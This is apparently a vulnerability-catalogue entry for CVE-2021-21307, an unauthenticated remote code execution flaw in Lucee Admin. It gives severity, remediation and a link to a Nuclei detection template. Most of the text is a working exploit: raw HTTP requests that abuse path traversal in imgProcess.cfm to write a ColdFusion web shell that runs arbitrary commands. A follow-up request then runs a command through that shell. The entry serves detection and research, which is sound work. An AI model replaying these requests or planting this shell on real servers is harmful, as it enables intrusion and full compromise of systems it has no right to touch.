| Title | Lucee Admin - Remote Code Execution |
|---|---|
| Author | dhiyaneshDk |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | This is fixed in versions 5.3.7.47, 5.3.6.68 or 5.3.5.96. As a workaround, block access to the Lucee Administrator. |
| CVSS Score | 9.8 |
| EPSS Score | 0.92213 |
| CVE ID | CVE-2021-21307 |
| CWE ID | CWE-862 |
| Tags | cve2021 cve rce lucee adobe vkev vuln |
Lucee Admin before versions 5.3.7.47, 5.3.6.68 or 5.3.5.96 contains an unauthenticated remote code execution vulnerability.
POST /lucee/admin/imgProcess.cfm?file=/whatever HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0
Connection: close
Content-Length: 8
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
imgSrc=a
POST /lucee/admin/imgProcess.cfm?file=/../../../context/38FF7PI9bdasdMc4j25VHVAmV6S.cfm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Connection: close
Content-Length: 735
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
imgSrc=
<cfoutput>
<table>
<form method="POST" action="">
<tr><td>Command:</td><td><input type=test name="cmd" size=50
<cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text name="opts" size=50
<cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
<cfif isdefined("form.timeout")>value="#form.timeout#"
<cfelse> value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</form>
<cfif isdefined("form.cmd")>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
arguments = "#Form.opts#"
timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
POST /lucee/38FF7PI9bdasdMc4j25VHVAmV6S.cfm HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Safari/605.1.15
Connection: close
Content-Length: 22
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
cmd=id&opts=&timeout=5
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21307.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21307.pcap
N/AN/A